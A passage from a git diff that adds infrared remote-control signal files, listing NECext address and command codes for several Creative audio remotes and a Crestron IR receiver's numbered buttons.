00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C1 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C6 00 00 00 +# +name: X_KEY_4bit_Down +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C9 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: C1 44 00 00 +command: CE 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: D1 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: D6 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: DE 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: C1 44 00 00 +command: E1 00 00 00 +# +name: EAX_Down +type: parsed +protocol: NECext +address: C1 44 00 00 +command: E9 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: EE 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: F1 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: C1 44 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir new file mode 100644 index 000000000..bd31cfa93 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 11 00 00 00 +# +name: x-fi_cmss+ +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 29 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 3E 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 46 00 00 00 +# +name: x-fi_crystal+ +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 49 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 4E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 5E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 71 00 00 00 +# +name: vol_off +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 76 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 81 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 86 00 00 00 +# +name: x-fi_crystal_on +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 89 00 00 00 +# +name: x-fi_cmss_on +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 8E 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 9E 00 00 00 +# +name: stop_eject +type: parsed +protocol: NECext +address: C1 44 00 00 +command: A1 00 00 00 +# +name: x-fi_cmss- +type: parsed +protocol: NECext +address: C1 44 00 00 +command: A9 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: B1 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C6 00 00 00 +# +name: x-fi_crystal- +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C9 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: C1 44 00 00 +command: CE 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: D6 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: DE 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: C1 44 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir new file mode 100644 index 000000000..d3d4f8d5f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: s0 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 00 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 01 00 00 00 +# +name: s3 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 08 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 09 00 00 00 +# +name: sMenu +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 10 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 11 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 1E 00 00 00 +# +name: s6 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 1F 00 00 00 +# +name: s5 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 20 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 21 00 00 00 +# +name: sEax +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 30 00 00 00 +# +name: eax +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 31 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 3E 00 00 00 +# +name: sClose +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 3F 00 00 00 +# +name: sOptions +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 40 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 46 00 00 00 +# +name: sVol+ +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 47 00 00 00 +# +name: s4 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 50 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 51 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 5E 00 00 00 +# +name: sNext +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 5F 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 6E 00 00 00 +# +name: sDisplay +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 6F 00 00 00 +# +name: sReturn +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 70 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 71 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 76 00 00 00 +# +name: sMute +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 77 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 7E 00 00 00 +# +name: sStep +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 7F 00 00 00 +# +name: sOk +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 80 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 81 00 00 00 +# +name: s7 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 90 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 91 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 9E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 9F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: C1 44 00 00 +command: A0 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: A1 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: AE 00 00 00 +# +name: sRight +type: parsed +protocol: NECext +address: C1 44 00 00 +command: AF 00 00 00 +# +name: sDown +type: parsed +protocol: NECext +address: C1 44 00 00 +command: B0 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: B1 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: C1 44 00 00 +command: BE 00 00 00 +# +name: sSlow +type: parsed +protocol: NECext +address: C1 44 00 00 +command: BF 00 00 00 +# +name: s8 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C0 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C1 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C6 00 00 00 +# +name: sVol- +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C7 00 00 00 +# +name: s1 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: D0 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: D1 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: DE 00 00 00 +# +name: sUp +type: parsed +protocol: NECext +address: C1 44 00 00 +command: DF 00 00 00 +# +name: sLeft +type: parsed +protocol: NECext +address: C1 44 00 00 +command: E0 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: E1 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: EE 00 00 00 +# +name: s9 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: EF 00 00 00 +# +name: s2 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: F0 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: F1 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: C1 44 00 00 +command: FE 00 00 00 +# +name: sPrev +type: parsed +protocol: NECext +address: C1 44 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir new file mode 100644 index 000000000..d9a6d0302 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 09 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 11 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 1E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 21 00 00 00 +# +name: eax +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 31 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 3E 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 46 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 51 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 5E 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 6E 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 71 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 76 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 7E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 81 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 86 00 00 00 +# +name: cmss +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 8E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 91 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 9E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: C1 44 00 00 +command: 9E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: A1 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: AE 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: B1 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: C1 44 00 00 +command: BE 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C1 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: C1 44 00 00 +command: C6 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: C1 44 00 00 +command: CE 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: D1 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: C1 44 00 00 +command: DE 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: C1 44 00 00 +command: E1 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: EE 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: C1 44 00 00 +command: F1 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: C1 44 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir new file mode 100644 index 000000000..c59771399 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: BTN01 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: BTN02 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: BTN03 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: BTN04 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: BTN05 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: BTN06 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: BTN07 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: BTN08 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: BTN09 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: BTN10 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: BTN11 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: BTN12 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: BTN13 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: BTN14 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: BTN15 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: BTN16 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: BTN17 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: BTN18 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: BTN19 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: BTN20 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: BTN21 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: BTN22 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: BTN23 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: BTN24 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: BTN25 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: BTN26 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: BTN27 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: BTN28 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: BTN29 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: BTN30 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: BTN31 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: BTN32 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: BTN33 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: BTN34 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: BTN35 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: BTN36 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: BTN37 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: BTN38 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: BTN39 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: BTN40 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: BTN41 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: BTN42 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: BTN43 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: BTN44 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: BTN45 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: BTN46 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: BTN47 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: BTN48 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: BTN49 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: BTN50 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: BTN51 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: BTN52 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: BTN53 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: BTN54 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: BTN55 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: BTN56 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: BTN57 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: BTN58 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: BTN59 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: BTN60 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: BTN61 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: BTN62 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: BTN63 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: BTN64 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir new file mode 100644 index 000000000..6b42a2c18 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: BTN01 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: BTN02 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: BTN03 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: BTN04 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: BTN06 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: BTN05 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: BTN07 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: BTN08 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: BTN09 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: BTN10 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: BTN11 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: BTN12 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: BTN13 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: BTN14 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: BTN15 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: BTN16 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: BTN17 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: BTN18 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: BTN19 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: BTN20 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: BTN21 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: BTN22 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: BTN23 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: BTN24 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: BTN25 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: BTN26 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: BTN27 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: BTN28 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: BTN29 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: BTN30 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: BTN31 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: BTN32 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: BTN33 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: BTN34 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: BTN35 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 22 00 00 00 +# +name: BTN36 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: BTN37 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: BTN38 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: BTN39 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: BTN40 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: BTN41 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: BTN42 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: BTN43 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: BTN44 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: BTN45 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2C 00 00 00 +# +name: BTN46 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2D 00 00 00 +# +name: BTN47 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: BTN48 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: BTN49 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: BTN50 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: BTN51 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: BTN52 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: BTN53 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: BTN54 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 35 00 00 00 +# +name: BTN55 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: BTN56 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: BTN57 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: BTN58 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: BTN59 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: BTN60 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: BTN61 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: BTN62 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 +# +name: BTN63 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3E 00 00 00 +# +name: BTN64 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir new file mode 100644 index 000000000..7ed2032a3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir @@ -0,0 +1,386 @@ +Filetype: IR signals file +Version: 1 +# +name: BTN01 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: BTN02 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: BTN03 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: BTN04 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: BTN05 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: BTN06 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: BTN07 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: BTN08 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: BTN09 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: BTN10 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: BTN11 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: BTN12 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: BTN13 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: BTN14 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: BTN15 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: BTN16 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: BTN17 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: BTN18 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: BTN19 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: BTN20 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: BTN21 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: BTN22 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: BTN23 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: BTN24 +type: parsed +protocol: NECext +address: 